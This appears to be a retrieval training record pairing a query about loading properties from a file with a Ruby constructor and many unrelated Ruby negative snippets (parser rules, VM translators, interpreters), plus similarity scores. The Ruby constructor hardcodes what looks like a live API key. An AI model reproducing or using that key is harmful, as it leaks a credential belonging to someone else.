#example: ERROR\n if valid_instruction == 0\n print error_string\n end\n\n print \"\\n\"\n\n instruction_ptr += 1\n end\nend", "def digit!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n type = DIGIT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 136:8: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n end", "def writeArithmetic(command)\n assembly_builder = []\n # Add\n if command == 'add'\n assembly_builder.push(\n '@SP',# A=0\n 'AM=M-1',# A=RAM[0]=M[0]-1\n 'D=M',# D=RAM[257]\n 'A=A-1',# A=257-1=256\n 'M=M+D'# RAM[256]=RAM[256]+D\n )\n\n elsif command == 'sub'\n assembly_builder.push(\n '@SP',\n 'AM=M-1',\n 'D=M',\n 'A=A-1',\n 'M=M-D'\n )\n\n # y = -y\n elsif command == 'neg'\n assembly_builder.push(\n '@SP',\n 'A=M-1',\n 'M=-M',\n )\n\n # x == y ? -1 : 0\n elsif command == 'eq'\n assembly_builder.push(\n '@SP',\n 'AM=M-1', # M = 257\n 'D=M', # D = 4\n 'A=A-1', # @256\n 'D=M-D', # D = 5 - 4 = 1\n 'M=-1', # M[256] = -1\n '@EQEND', # if D == 0 → EQEND\n 'D;JEQ', #\n '@SP',\n 'A=M-1',\n 'M=0',\n '(EQEND)'\n )\n\n # x > y ? -1 : 0\n elsif command == 'gt'\n assembly_builder.push(\n '@SP',\n 'AM=M-1', # M = 257\n 'D=M', # D = 4\n 'A=A-1', # @256\n 'D=M-D', # D = 5 - 4 = 1\n 'M=-1', # M[256] = -1\n '@GTEND', # if D == 0 → EQEND\n 'D;JGT', #\n '@SP',\n 'A=M-1',\n 'M=0',\n '(GTEND)'\n )\n # x < y ? -1 : 0\n elsif command == 'lt'\n assembly_builder.push(\n '@SP',\n 'AM=M-1', # M = 257\n 'D=M', # D = 4\n 'A=A-1', # @256\n 'D=M-D', # D = 5 - 4 = 1\n 'M=-1', # M[256] = -1\n '@LTEND', # if D == 0 → EQEND\n 'D;JLT', #\n '@SP',\n 'A=M-1',\n 'M=0',\n '(LTEND)'\n )\n # x & y\n elsif command == 'and'\n assembly_builder.push(\n '@SP',\n 'AM=M-1', # M = 257\n 'D=M', # D = 4\n 'A=A-1', # @256\n 'M=D&M'\n )\n # x | y\n elsif command == 'or'\n assembly_builder.push(\n '@SP',\n 'AM=M-1', # M = 257\n 'D=M', # D = 4\n 'A=A-1', # @256\n 'M=D|M'\n )\n # not y\n elsif command == 'not'\n assembly_builder.push(\n '@SP',\n 'A=M-1', # M = 257\n 'M=!M'\n )\n end\n return assembly_builder\n end", "def t__30!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n\n\n\n type = T__30\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 7:9: '!'\n match( 0x21 )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n\n end", "def execute_JMPFAR(pointer)\n\t\[email protected]_value = pointer.next_word_value # Segment\n\t\tjump_conditionally_to_signed_displacement(pointer, true) # Offset\n\tend", "def phase_shift? ; false ; end", "def k8805_a()\n return 'B'\nend", "def digito!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 73 )\n\n\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line \n if @input.peek( 1 ).between?( 0x30, 0x39 ) || @input.peek( 1 ).between?( 0x660, 0x669 ) || @input.peek( 1 ).between?( 0x6f0, 0x6f9 ) || @input.peek( 1 ).between?( 0x966, 0x96f ) || @input.peek( 1 ).between?( 0x9e6, 0x9ef ) || @input.peek( 1 ).between?( 0xa66, 0xa6f ) || @input.peek( 1 ).between?( 0xae6, 0xaef ) || @input.peek( 1 ).between?( 0xb66, 0xb6f ) || @input.peek( 1 ).between?( 0xbe7, 0xbef ) || @input.peek( 1 ).between?( 0xc66, 0xc6f ) || @input.peek( 1 ).between?( 0xce6, 0xcef ) || @input.peek( 1 ).between?( 0xd66, 0xd6f ) || @input.peek( 1 ).between?( 0xe50, 0xe59 ) || @input.peek( 1 ).between?( 0xed0, 0xed9 ) || @input.peek( 1 ).between?( 0x1040, 0x1049 )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 73 )\n\n\n end", "def digit!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 53 )\n\n type = DIGIT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 352:8: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 53 )\n\n end", "def t__18!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 9)\n\n type = T__18\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 24:9: '&'\n match(?&)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 9)\n\n end", "def neginv(b) return \"@SP\\nA=M-1\\nM=\"+b+\"M\\n\" end", "def nextp pos, dir\n #It does not allow to step off the edges, so we check them out:\n if (pos<@w && (3..5).include?(dir)) or\n (pos+@w >= @grid.size && [0,1,7].include?(dir)) or\n (pos%@w == 0 && (5..7).include?(dir)) or\n (pos%@w+1 == @w && (1..4).include?(dir))\n return nil\n end\n # Remember: Directions = [[1,0],[1,1],[0,1],[-1,1],[-1,0],[-1,-1],[0,-1],[1,-1]]\n # Directions[dir][0] represents the movement in y index. Directions[dir][1] represents the movement in x index\n pos+Directions[dir][0]*@w+Directions[dir][1]\n end", "def t__16!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 7)\n\n type = T__16\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 22:9: ','\n match(?,)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 7)\n\n end", "def t__16!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 5 )\n\n type = T__16\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 21:9: 'T'\n match( 0x54 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 5 )\n\n end", "def turn(t)\n\t\tcardinal = [\"N\", \"E\", \"S\", \"W\"]\n\t\tpos = cardinal.index(@direction)\n\t\tif t == \"L\"\n\t\t\tpos -= 1\n\t\telsif t == \"R\"\n\t\t\tpos += 1\n\t\tend\n\t\t@direction = cardinal[pos % 4]\n\tend", "def letter_direction\n just_walk_forward = sign_in_direction(direction)\n return direction unless finished?(just_walk_forward)\n crossroads_direction\n end", "def fast_forward()\n @ole.FastForward()\n end", "def t__26!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n\n type = T__26\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 31:9: 'Q'\n match( 0x51 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n end", "def call(args,i)\n\tFUNCTION << args[0]\n\ttag = \"return-address\"+i\n\tlines = \"@\"+tag+\"\\nD=A\\n@SP\\nA=M\\nM=D\\n@SP\\nM=M+1\\n\"\n\tlines += ['LCL','ARG','THIS','THAT'].map{|x| pushaddr(x)}.join(\"\")\n\tlines += \"@SP\\nD=M\\n@\"+(args[1].to_i+5).to_s+\"\\nD=D-A\\n@ARG\\nM=D\\n\"\n\tlines += \"@SP\\nD=M\\n@LCL\\nM=D\\n\"\n\tlines += goto([args[0],false],i,true)\n\tlines += \"(\" + tag + \")\"\n\t# return address label goes here\n\tFUNCTION.pop\n\treturn lines\n\nend", "def instruct(commands)\n move = commands.upcase.chars\n\n move.each do |letter|\n case letter \n when \"R\" then turn_right\n when \"L\" then turn_left\n when \"A\" then advance\n end \n end #end .each\n puts \"position is: #{@position} direction is #{@front}\"\n end", "def expression\n if is_addop @look\n emit_ln 'CLR D0'\n else\n term\n end\n while is_addop @look\n emit_ln 'MOVE D0, -(SP)' \n case @look\n when '+': add\n when '-': subtract\n else expected('Addop')\n end\n end\nend", "def bcd2dpd(arg)\n # assign each bit to a variable, named as in the description\n a,b,c,d,e,f,g,h,i,j,k,m = (\"%012B\"%arg).split('').collect{|bit| bit.to_i}\n\n # derive the result bits, using boolean expressions only\n #-- [the operators are: '&'=AND, '|'=OR, '\\'=NOT.]\n p=b | (a & j) | (a & f & i)\n q=c | (a & k) | (a & g & i)\n r=d\n s=(f & (bitnot(a) | bitnot(i))) | (bitnot(a) & e & j) | (e & i)\n t=g | (bitnot(a) & e &k) | (a & i)\n u=h\n v=a | e | i\n w=a | (e & i) | (bitnot(e) & j)\n x=e | (a & i) | (bitnot(a) & k)\n y=m\n\n # concatenate the bits and return\n # result = [p,q,r,s,t,u,v,w,x,y].collect{|bit| bit.to_s}.inject{|aa,bb|aa+bb}.to_i(2)\n result = 0\n [p,q,r,s,t,u,v,w,x,y].each do |bit|\n result <<= 1\n result |= bit\n end\n result\nend", "def symbol! sym\ninitialize\ns0 = new_state\ns1 = new_state\nset_start(s0)\nset_final(s1, true)\nadd_transition(s0, s1, sym)\nif sym != \"\" && @alphabet.include?(\"#{sym}\") == false\[email protected](\"#{sym}\")\nend\nend", "def t__27!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 16 )\n\n type = T__27\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 32:9: 'q'\n match( 0x71 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 16 )\n\n end", "def mnemonic_pin(word)\n word.each_char.map { |char| mnemonic_digit(char) }.join\nend", "def jump(x_plus, y_plus)\n # If plus value is not (0,0)\n if x_plus != 0 or y_plus != 0\n # If horizontal distnace is longer\n if x_plus.abs > y_plus.abs\n # Change direction to left or right\n x_plus < 0 ? turn_left : turn_right\n # If vertical distance is longer, or equal\n else\n # Change direction to up or down\n y_plus < 0 ? turn_up : turn_down\n end\n end\n # Calculate new coordinates\n new_x = @x + x_plus\n new_y = @y + y_plus\n # If plus value is (0,0) or jump destination is passable\n if (x_plus == 0 and y_plus == 0) or passable?(new_x, new_y, 0)\n # Straighten position\n straighten\n # Update coordinates\n @x = new_x\n @y = new_y\n # Calculate distance\n distance = Math.sqrt(x_plus * x_plus + y_plus * y_plus).round\n # Set jump count\n @jump_peak = 10 + distance - @move_speed \n @jump_peak += distance if @cool_jumps\n @jump_count = @jump_peak * 2\n # Clear stop count\n @stop_count = 0\n end\n end", "def interpret\r\n return __________________ # <<2\r\n end", "def walk\n case @direction\n when 'N'\n @y += 1\n when 'W'\n @x += 1\n when 'S'\n @y -= 1\n when 'E'\n @x -= 1\n end\n end", "def solve_amp(phase, signal)\n if @feedback\n program = @program\n else\n program = @program.dup\n end\n opcode = 0\n\n while (opcode != @STOP && pointer < program.length) do \n puts \"pointer: #{pointer}\" if @DEBUG\n opcode = program[pointer]\n a = 0\n b = 0\n c = 0\n\n # Check Immeidate Mode\n if(opcode.to_s.length > 2)\n opcode = opcode.to_s\n # need to parse that fancy code\n instruction = opcode[-2..-1].to_i\n puts \"instruction: #{instruction}\\nopcode: #{opcode}\" if @DEBUG\n \n if (opcode.length == 3)\n puts \"length: 3\" if @DEBUG\n c = opcode[0].to_i\n elsif (opcode.length == 4)\n puts \"length: 4\" if @DEBUG\n b = opcode[0].to_i\n c = opcode[1].to_i\n elsif (opcode.length == 5)\n puts \"length: 5\" if @DEBUG\n a = opcode[0].to_i\n b = opcode[1].to_i\n c = opcode[2].to_i\n end\n else\n puts \"opcode only: #{opcode}\" if @DEBUG\n instruction = opcode.to_i\n end\n\n if(instruction == @STOP)\n puts \"STOP\"\n @stopped = true\n break\n end\n\n puts \"a: #{a}\\nb: #{b}\\nc: #{c}\\n\" if @DEBUG\n \n if(instruction == @ADD || instruction == @MULTIPLY)\n position_a = program[pointer + 1].to_i\n position_a = program[position_a].to_i if c == 0\n\n position_b = program[pointer + 2].to_i\n position_b = program[position_b].to_i if b == 0\n\n position_c = program[pointer + 3].to_i #if a == 0\n #position_c = program[pointer + 3].to_i if a == 1\n \n if(instruction == @ADD)\n program[position_c] = position_a + position_b\n elsif(instruction == @MULTIPLY)\n program[position_c] = position_a * position_b\n end\n pointer += 4\n puts \"incrementing pointer by 4\" if @DEBUG\n end\n\n if(instruction == @READ)\n if (c == 0)\n # puts \"\\nSTATUS: #{program[program[pointer + 1].to_i]}\\n\"\n return program[program[pointer + 1].to_i]\n else\n # puts \"\\nSTATUS: #{program[pointer + 1]}\\n\"\n return program[pointer + 1]\n end\n pointer += 2\n puts \"incrementing pointer by 2\" if @DEBUG\n end\n\n if(instruction == @STORE)\n #print \"input: \"\n if @input_times == 0\n number = phase\n @input_times += 1\n else\n number = signal\n end\n target = program[pointer + 1].to_i\n program[target] = number.to_i\n pointer += 2\n puts \"incrementing pointer by 2\" if @DEBUG\n end\n\n # only two params\n if(instruction == @JUMP_IF_TRUE)\n puts \"Jump if true\" if @DEBUG\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n if @DEBUG\n puts \"first: #{first}\\nsecond: #{second}\"\n puts \"first_value: #{program[first]}\\nsecond_value: #{program[second]}\"\n end\n\n unless program[first].to_i == 0\n pointer = program[second].to_i\n puts \"assigning pointer to #{pointer}\" if @DEBUG\n else\n pointer += 3\n puts \"incrementing pointer by 3\" if @DEBUG\n end\n end\n\n # only two params\n if(instruction == @JUMP_IF_FALSE)\n puts \"Jump if false\" if @DEBUG\n\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n \n if @DEBUG\n puts \"first: #{first}\\nsecond: #{second}\"\n puts \"first_value: #{program[first]}\\nsecond_value: #{program[second]}\"\n end\n\n if program[first].to_i == 0\n pointer = program[second].to_i\n puts \"assigning pointer to #{pointer}\" if @DEBUG\n else\n pointer += 3\n puts \"incrementing pointer by 3\" if @DEBUG\n end\n end\n\n # four parameters\n if(instruction == @LESS)\n puts \"Less\" if @DEBUG\n\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n third = pointer + 3\n third = program[third].to_i if a == 0\n\n if(program[first].to_i < program[second].to_i)\n program[third] = 1\n else\n program[third] = 0\n end\n\n pointer += 4\n end\n\n if(instruction == @EQUALS)\n puts \"Equals\" if @DEBUG\n\n first = pointer + 1\n first = program[pointer + 1].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n third = pointer + 3\n third = program[third].to_i if a == 0\n\n puts \"first: #{program[first]}, second: #{program[second]}\" if @DEBUG\n\n if(program[first].to_i == program[second].to_i)\n puts \"Setting #{third} to 1\" if @DEBUG\n program[third] = 1\n else\n puts \"Setting #{third} to 0\" if @DEBUG\n program[third] = 0\n end\n\n pointer += 4\n end\n gets if @DEBUG\n end\n end", "def processing_instruction?; end", "def processing_instruction?; end", "def t__81!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 26)\n\n type = T__81\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 32:9: '('\n match(?()\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 26)\n\n end", "def jump\n result = \"\"\n i = 0\n\n while ((i < @currentCommand.length) and (@currentCommand.slice(i) != \";\"))\n i += 1\n end\n\n if (@currentCommand.slice(i) == \";\")\n i += 1\n\n while (i < @currentCommand.length and @currentCommand.slice(i) != '/')\n result += @currentCommand.slice(i)\n i += 1\n end\n else\n result = \"null\"\n end\n return result\n end", "def walk\n return false if (@captives > 0 and captives_close and warrior.feel(get_bomb_direction).captive?) or # Captives needs to be rescued, dont walk away\n count_unit_type(:Sludge) > 5\n message = nil\n walk_to = nil\n if check_for_a_bomb and @bomb_optimal_direction != false\n message = \"Walking to captive with the bomb optimal direction to direction #{@bomb_optimal_direction}\"\n walk_to = @bomb_optimal_direction\n elsif @captives > 0 and check_for_a_bomb and !warrior.feel(:forward).enemy?\n message = \"Walking to get the captive with a bomb to direction #{get_bomb_direction}\"\n walk_to = get_bomb_direction\n elsif @captives > 0 and warrior.look(:forward)[1].to_s.to_sym == :\"Thick Sludge\" and count_unit_type(:\"Thick Sludge\") > 1\n message = \"Walking to avoid sludges to direction #{@captives_direction[0]}\"\n walk_to = :right\n elsif @enemies_binded < 3 and @captives > 0 and !enemies_close\n message = \"Walking to rescue captives to direction #{@captives_direction[0]}\"\n walk_to = @captives_direction[0]\n elsif !under_attack and warrior.listen.empty?\n message = \"Walking to the stairs to direction #{warrior.direction_of_stairs}\"\n walk_to = warrior.direction_of_stairs\n elsif !under_attack and !enemies_close\n message = \"Walking to closest unit to direction #{warrior.direction_of(warrior.listen.first)}\"\n walk_to = warrior.direction_of(warrior.listen.first)\n end\n if walk_to != nil\n if message != nil\n puts message\n end\n return warrior.walk! walk_to\n end\n return false\n end", "def do_v(s); s[:direction] = 'down'; end", "def prog\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n\n begin\n # at line 39:11: PROGRAM LKEY ( dclrG ';' )* ( fun )* RKEY\n match( PROGRAM, TOKENS_FOLLOWING_PROGRAM_IN_prog_143 )\n match( LKEY, TOKENS_FOLLOWING_LKEY_IN_prog_145 )\n # at line 39:24: ( dclrG ';' )*\n while true # decision 1\n alt_1 = 2\n case look_1 = @input.peek( 1 )\n when T__44 then look_1_1 = @input.peek( 2 )\n\n if ( look_1_1 == ID )\n alt_1 = 1\n\n end\n when T__45 then look_1_2 = @input.peek( 2 )\n\n if ( look_1_2 == ID )\n alt_1 = 1\n\n end\n when T__46 then look_1_3 = @input.peek( 2 )\n\n if ( look_1_3 == ID )\n alt_1 = 1\n\n end\n when T__47 then look_1_4 = @input.peek( 2 )\n\n if ( look_1_4 == ID )\n alt_1 = 1\n\n end\n end\n case alt_1\n when 1\n # at line 39:25: dclrG ';'\n @state.following.push( TOKENS_FOLLOWING_dclrG_IN_prog_148 )\n dclrG\n @state.following.pop\n match( T__42, TOKENS_FOLLOWING_T__42_IN_prog_149 )\n\n else\n break # out of loop for decision 1\n end\n end # loop for decision 1\n # at line 39:36: ( fun )*\n while true # decision 2\n alt_2 = 2\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0.between?( T__44, T__47 ) )\n alt_2 = 1\n\n end\n case alt_2\n when 1\n # at line 39:36: fun\n @state.following.push( TOKENS_FOLLOWING_fun_IN_prog_153 )\n fun\n @state.following.pop\n\n else\n break # out of loop for decision 2\n end\n end # loop for decision 2\n match( RKEY, TOKENS_FOLLOWING_RKEY_IN_prog_156 )\n # --> action\n agc_8\n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n end\n \n return \n end", "def __loopb(&blk)\n codes = yield\n len = (codes.length + 1) * (-1)\n result = codes + [:jmpr, len]\n if result.any? {|e| e.class == UnknownBreak }\n outside = result.length\n result = result.map {|e| e.class == UnknownBreak ? e.to_break(0, outside) : e }\n result.each_with_index {|e, i| e.class == BreakStop ? e.index = i : e }\n result.map! {|e| e.class == BreakStop ? e.to_offset : e }\n end\n result\n end", "def jump(str)\n @@JUMP_TABLE[str]\n end", "def minilang(string)\n register = 0\n stack = []\n\n operation_array = string.downcase.split\n\n operation_array.map!{ |x| x.to_i == 0 ? x : x.to_i }\n\n string.split.size.times do\n register = operation_array.shift if operation_array.first.to_i != 0\n\n case operation_array[0]\n when \"print\"\n p register\n operation_array.shift\n when \"push\"\n stack << register\n operation_array.shift\n when \"mult\"\n register *= stack.pop\n operation_array.shift\n when \"add\"\n register += stack.pop\n operation_array.shift\n when \"pop\"\n register = stack.pop\n operation_array.shift\n when \"div\"\n register /= stack.pop\n operation_array.shift\n when \"mod\"\n register %= stack.pop\n operation_array.shift\n when \"sub\"\n register -= stack.pop\n operation_array.shift\n end\n end\nend", "def wtfpyra (a)\n\t\tfullpyra (a)\n\t\treversefullpyra (a)\n\tend", "def emit_instr(base_addr = 0x0600)\n #by convention, stack is 0x0100-0x01FF\n #so we try tolay out our program starting from 0x0200\n #\n #errr.... turns out 6502asm.com starts userspace addrs at 0x0600\n \n #2-pass compilation:\n #first pass, we lay out all the instr except for goto-labels\n addr = base_addr\n \n @instr.each { |i|\n case i.instr_type\n when InstrBase::OPCODE\n #p \"opcode #{i}\"\n i.addr = addr\n \n #increment by number of instructions used: 1 for opcode + 1-2 for args\n addr = addr + 1 + i.args_len\n when InstrBase::LABEL_HOME\n #p \"label #{i}\"\n i.addr = addr\n i.label_addr = addr\n \n #also, need to update @def_labels structure for lookups later\n @def_labels[i.label_name][1] = addr \n when InstrBase::MACRO\n #p \"macro #{i.to_s}\" \n # set addr of macro to starting addr\n i.addr = addr\n \n # increment addr by length of macro's args\n addr = addr + i.args.length\n \n #actual opcode is captured in @args of macro, get it later\n else\n #p \"else #{i.instr_type}\"\n end\n }\n \n #second pass, we link in all the goto-labels\n @instr.each { |i|\n case i.instr_type\n when InstrBase::OPCODE\n if i.args.respond_to?(:instr_type)\n if i.args.instr_type == InstrBase::LABEL_GOTO\n \n #if we have a relative addr, args_len = 1\n #add signed 1byte disp to instr. counter\n if i.args_len == 1\n disp =@def_labels[i.args.label_addr][1] - (i.addr + 2)\n i.args = disp\n else #replace label goto with mapped addr to it\n i.args = @def_labels[i.args.label_addr][1]\n end\n \n else\n #raise exception here\n raise \"Unknown opcode arg-type \\\"#{i.args}\\\" found\"\n end\n end\n else\n #p \"else #{i.instr_type}\" \n end\n }\n \n \n \n end", "def gen_mc_word(instruction, addr, ins_fields, next_addr_override = nil)\n next_addr = nil;\n rptz_next_addr = nil;\n desc = \"\";\n bits = 0\n ins_fields.each do |ins_field|\n field_name, enum_name = ins_field.match(/([^\\(]+)\\(?([^\\)]*)\\)?/).captures\n if(field_name == \"next_addr\") then\n next if next_addr_override != nil\n if(enum_name == \"ir\") then\n desc = \"next: ir #{desc}\"\n next_addr = 0\n next\n elsif(enum_name == \"self\") then\n desc = \"next: self #{desc}\"\n next_addr = addr\n next\n elsif(enum_name[0] == \"-\")\n nbr = enum_name[1..-1].to_i\n desc = \"next: -#{nbr} #{desc}\"\n next_addr = addr - nbr\n next\n elsif(enum_name[0] == \"+\")\n nbr = enum_name[1..-1].to_i\n desc = \"next: +#{nbr} #{desc}\"\n next_addr = addr + nbr\n next\n end\n loc_addr = @locations.find_index(enum_name)\n next_addr = loc_addr\n desc = \"next: 0x#{loc_addr.to_s(16)}(#{enum_name}) #{desc}\"\n next\n end\n if(field_name == \"rptz_next_addr\") then\n rptz_next_addr = @locations.find_index(enum_name)\n # rptz_next_addr can only jump within the same 16-instruction block\n if(rptz_next_addr.to_s(2)[0..-5] != next_addr.to_s(2)[0..-5]) then\n raise \"RPTZ Next Addr can only jump within the same 16-instruction block, realignment required in instruction #{instruction} (#{rptz_next_addr.to_s(2)} vs #{next_addr.to_s(2)})\"\n elsif(rptz_next_addr == next_addr) then\n raise(\"RPTZ Next Addr does not allow jumping to self in #{instruction}\")\n end\n desc = \"rptz_next: 0x#{rptz_next_addr.to_s(16)}(#{enum_name}) #{desc}\"\n rptz_next_addr &= 0xF\n next\n end\n raise \"Invalid field '#{field_name}' in instruction '#{instruction}'\" if !@fields[field_name]\n # find out if there are enums for this field, and make sure they're valid and used if so\n raise \"Enum expected for field '#{field_name}' in instruction #{instruction}\" if @enums[field_name] and enum_name == \"\"\n raise \"No enum expected for field #{field_name} in instruction #{instruction}\" if enum_name != \"\" and !@enums[field_name]\n raise \"Invalid enum '#{enum_name}' given for field '#{field_name}' in instruction #{instruction}\" if enum_name != \"\" and !@enums[field_name][enum_name]\n # TODO: check that we don't overflow the length of the field\n # if no enum used, then specifying the field means we want it as a 1\n bit_val = 1\n bit_val = @enums[field_name][enum_name] if @enums[field_name]\n bits |= bit_val << @fields[field_name].begin\n desc += \"#{field_name}(#{enum_name}) \" if enum_name != \"\"\n desc += \"#{field_name} \" if enum_name == \"\"\n end\n if(next_addr_override) then\n next_addr = next_addr_override\n desc = \"next: 0x#{next_addr_override.to_s(16)} #{desc}\"\n else\n next_addr = addr + 1 if next_addr == nil\n end\n rptz_next_addr = 0 if !rptz_next_addr\n bits |= next_addr << @fields[\"next_addr\"].begin\n bits |= rptz_next_addr << @fields[\"rptz_next_addr\"].begin\n return [bits, desc]\nend", "def dclrG\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n a = nil\n b = nil\n\n begin\n # at line 47:11: b= type a= ID ( '=' comp )?\n @state.following.push( TOKENS_FOLLOWING_type_IN_dclrG_392 )\n b = type\n @state.following.pop\n a = match( ID, TOKENS_FOLLOWING_ID_IN_dclrG_396 )\n # --> action\n agc_1(a,b,true,false,false,true)\n # <-- action\n # at line 47:58: ( '=' comp )?\n alt_11 = 2\n look_11_0 = @input.peek( 1 )\n\n if ( look_11_0 == EQLS )\n alt_11 = 1\n end\n case alt_11\n when 1\n # at line 47:59: '=' comp\n match( EQLS, TOKENS_FOLLOWING_EQLS_IN_dclrG_401 )\n # --> action\n agc_2('=')\n # <-- action\n @state.following.push( TOKENS_FOLLOWING_comp_IN_dclrG_406 )\n comp\n @state.following.pop\n # --> action\n agc_3('=')\n # <-- action\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end\n \n return \n end" ]
[ "0.54872876", "0.54670274", "0.54568046", "0.54090965", "0.5392224", "0.53543544", "0.5337828", "0.5335366", "0.52676237", "0.5257896", "0.5230528", "0.5226921", "0.5214803", "0.5211178", "0.5151794", "0.5124544", "0.5120772", "0.5113183", "0.51086766", "0.5092279", "0.50904834", "0.5069123", "0.5042635", "0.5038482", "0.5038188", "0.5026876", "0.5022261", "0.50205064", "0.50185984", "0.501547", "0.5001402", "0.49955094", "0.49783266", "0.4977586", "0.49697518", "0.49410585", "0.491875", "0.49167907", "0.49138233", "0.49120972", "0.4907589", "0.4900411", "0.48939645", "0.4892918", "0.48855546", "0.48787838", "0.48674718", "0.4861377", "0.48590133", "0.4856136", "0.4850845", "0.48490575", "0.4846699", "0.4846589", "0.48460224", "0.4840517", "0.48341438", "0.48323077", "0.481852", "0.48157266", "0.48150688", "0.48065963", "0.48011944", "0.47919923", "0.47891176", "0.47855383", "0.47830364", "0.47823003", "0.47805163", "0.47751573", "0.47744685", "0.47692233", "0.47626355", "0.4761175", "0.4757263", "0.47533873", "0.4753335", "0.4752693", "0.47514483", "0.4750209", "0.47490928", "0.4743837", "0.4735254", "0.47350818", "0.47340417", "0.47339296", "0.47299176", "0.47263607", "0.47263607", "0.47232273", "0.47218487", "0.4715578", "0.4712743", "0.471259", "0.47116503", "0.47109398", "0.4706827", "0.47019422", "0.47003996", "0.4697893", "0.46948114" ]
0.0
-1
Takes a file and loads the properties in that file
def initialize file EasyTranslate.api_key = 'AIzaSyDrbD0AfKHiMZTYoite-ec4byLNlPxoX8k' @file = file @properties = [] File.open(file, "r:UTF-8").each do |line| @properties << line end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_properties(properties_filename)\n properties = {}\n File.open(properties_filename, 'r') do |properties_file|\n properties_file.read.each_line do |line|\n line.strip!\n if (line[0] != ?# and line[0] != ?=)\n Chef::Log.info \"line : #{line}\"\n i = line.index('=')\n if (i)\n properties[line[0..i - 1].strip] = line[i + 1..-1].strip\n end\n end\n end\n end\n return properties\n end", "def load_properties(properties_filename)\n properties = {}\n File.open(properties_filename, 'r') do |properties_file|\n properties_file.read.each_line do |line|\n line.strip!\n if (line[0] != ?# and line[0] != ?=)\n i = line.index('=')\n if (i)\n properties[line[0..i - 1].strip] = line[i + 1..-1].strip\n else\n properties[line] = ''\n end\n end\n end\n end\n return properties\n end", "def properties\n @properties ||= load_files\n end", "def initialize(file)\n @file = file\n @properties = {}\n File.open(file).each_line do |line|\n @properties[Regexp.last_match(1).strip] = Regexp.last_match(2) if line =~ %r{([^=]*)=(.*)//(.*)} || line =~ /([^=]*)=(.*)/\n end\n end", "def initialize file\n EasyTranslate.api_key = 'AIzaSyDrbD0AfKHiMZTYoite-ec4byLNlPxoX8k'\n @file = file\n @properties = {}\n \n File.open(file, \"r:UTF-8\").each do |line| \n if line.include? \":\"\n splited_line = line.encode!('UTF-8').strip.split(':')\n @properties[splited_line[0]] = splited_line[1] \n end \n end\n end", "def read_properties\n buf = ''\n File.open( properties_file, 'r' ) { |f| buf = f.read }\n h = JSON.parse(buf, {:symbolize_names => true})\n @name = h.delete(:name).to_s\n @created= h.delete(:created).to_s\n @description = h.delete(:description).to_s\n @repo_properties = h\n end", "def load_properties\n unless Properties.exist?(@propertiesFile)\n\tProperties.copy(@defaultPropertiesFile, 